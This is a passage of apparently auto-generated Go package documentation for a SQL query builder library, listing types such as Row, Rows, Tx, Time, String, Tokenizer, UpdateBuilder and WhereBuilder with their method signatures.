	// Query retrieves all results that match the query criteria and sorts them using less function if it is provided.
	Query(ctx context.Context, rotatedTables []string, b *Builder, less func(i, j T) bool) ([]T, error)

	// QueryLimit retrieves a limited number of results that match the query criteria, sorts them using the provided less function, and limits the number of results to the specified limit.
	QueryLimit(ctx context.Context, rotatedTables []string, b *Builder, less func(i, j T) bool, limit int) ([]T, error)
}

Queryer is a query provider interface that defines methods for querying data.

type Row

type Row struct {
	// contains filtered or unexported fields
}

func (*Row) Bind

func (r *Row) Bind(dest any) error

func (*Row) Close

func (r *Row) Close() error

func (*Row) Err

func (r *Row) Err() error

func (*Row) Scan

func (r *Row) Scan(dest ...any) error

type Rows

type Rows struct {
	*sql.Rows
	// contains filtered or unexported fields
}

func (*Rows) Bind

func (r *Rows) Bind(dest any) error

func (*Rows) Close

func (r *Rows) Close() error

func (*Rows) Scan

func (r *Rows) Scan(dest ...any) error

type Stmt

type Stmt struct {
	*sql.Stmt
	// contains filtered or unexported fields
}

func (*Stmt) Reuse

func (s *Stmt) Reuse()

type String

type String struct {
	Null[string]
}

func NewString

func NewString(s string) String

func (String) MarshalJSON

func (t String) MarshalJSON() ([]byte, error)

MarshalJSON implements the json.Marshaler interface

func (*String) Scan

func (t *String) Scan(value any) error

Scan implements the sql.Scanner interface.

func (*String) String

func (t *String) String() string

Time returns the underlying time.Time value of the Time struct.

func (*String) UnmarshalJSON

func (t *String) UnmarshalJSON(data []byte) error

UnmarshalJSON implements the json.Unmarshaler interface

func (String) Value

func (t String) Value() (driver.Value, error)

Value implements the driver.Valuer interface.

type Text

type Text string

Text represents a text token.

func (Text) String

func (t Text) String() string

String returns the string representation of the token.

func (Text) Type

func (t Text) Type() TokenType

Type returns the type of the token. skipcq: RVV-B0013

type Time

type Time struct {
	sql.NullTime
}

Time represents a nullable time value.

func NewTime

func NewTime(t time.Time, valid bool) Time

NewTime creates a new Time object with the given time and valid flag.

func (Time) MarshalJSON

func (t Time) MarshalJSON() ([]byte, error)

MarshalJSON implements the json.Marshaler interface

func (*Time) Scan

func (t *Time) Scan(value any) error

Scan implements the sql.Scanner interface.

func (*Time) Time

func (t *Time) Time() time.Time

Time returns the underlying time.Time value of the Time struct.

func (*Time) UnmarshalJSON

func (t *Time) UnmarshalJSON(data []byte) error

UnmarshalJSON implements the json.Unmarshaler interface

func (Time) Value

func (t Time) Value() (driver.Value, error)

Value implements the driver.Valuer interface.

type Token

type Token interface {
	Type() TokenType
	String() string
}

Token is an interface that represents a SQL token.

type TokenType

type TokenType uint

TokenType represents the type of a token.

const (
	TextToken  TokenType = 0
	InputToken TokenType = 1
	ParamToken TokenType = 2
)

type Tokenizer

type Tokenizer struct {
	Raw    string
	Tokens []Token
}

func Tokenize

func Tokenize(text string) *Tokenizer

type Tx

type Tx struct {
	*sql.Tx
	// contains filtered or unexported fields
}

func (*Tx) Commit

func (tx *Tx) Commit() error

func (*Tx) Exec

func (tx *Tx) Exec(query string, args ...any) (sql.Result, error)

func (*Tx) ExecBuilder

func (tx *Tx) ExecBuilder(ctx context.Context, b *Builder) (sql.Result, error)

func (*Tx) ExecContext

func (tx *Tx) ExecContext(ctx context.Context, query string, args ...any) (sql.Result, error)

func (*Tx) Lock

func (*Tx) Lock()

func (*Tx) Query

func (tx *Tx) Query(query string, args ...any) (*Rows, error)

func (*Tx) QueryBuilder

func (tx *Tx) QueryBuilder(ctx context.Context, b *Builder) (*Rows, error)

func (*Tx) QueryContext

func (tx *Tx) QueryContext(ctx context.Context, query string, args ...any) (*Rows, error)

func (*Tx) QueryRow

func (tx *Tx) QueryRow(query string, args ...any) *Row

func (*Tx) QueryRowBuilder

func (tx *Tx) QueryRowBuilder(ctx context.Context, b *Builder) *Row

func (*Tx) QueryRowContext

func (tx *Tx) QueryRowContext(ctx context.Context, query string, args ...any) *Row

func (*Tx) Rollback

func (tx *Tx) Rollback() error

func (*Tx) Unlock

func (*Tx) Unlock()

type UpdateBuilder

type UpdateBuilder struct {
	*Builder
	// contains filtered or unexported fields
}

func (*UpdateBuilder) If

func (ub *UpdateBuilder) If(predicate bool) *UpdateBuilder

func (*UpdateBuilder) Set

func (ub *UpdateBuilder) Set(name string, value any) *UpdateBuilder

func (*UpdateBuilder) SetExpr

func (ub *UpdateBuilder) SetExpr(cmd string) *UpdateBuilder

func (*UpdateBuilder) SetMap

func (ub *UpdateBuilder) SetMap(m map[string]any, opts ...BuilderOption) *UpdateBuilder

func (*UpdateBuilder) SetModel

func (ub *UpdateBuilder) SetModel(dest any) *UpdateBuilder

type WhereBuilder

type WhereBuilder struct {
	*Builder
	// contains filtered or unexported fields
}

WhereBuilder is a struct that represents a SQL WHERE clause builder.

func NewWhere

func NewWhere() *WhereBuilder

NewWhere creates a new instance of WhereBuilder.

func (*WhereBuilder) And

func (wb *WhereBuilder) And(criteria string) *WhereBuilder

And adds an AND condition to the WHERE clause.

func (*WhereBuilder) End

func (wb *WhereBuilder) End() *Builder

End returns the underlying Builder instance.

func (*WhereBuilder) If

func (wb *WhereBuilder) If(predicate bool) *WhereBuilder

If sets a condition to skip the subsequent SQL statements. If the predicate is false, the subsequent SQL statements will be skipped.

func (*WhereBuilder) Or

func (wb *WhereBuilder) Or(criteria string) *WhereBuilder

Or adds an OR condition to the WHERE clause.

func (*WhereBuilder) SQL

func (wb *WhereBuilder) SQL(op string, criteria string) *WhereBuilder

SQL adds a condition to the WHERE clause with the specified operator.

Directories

Path Synopsis
cmd command

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL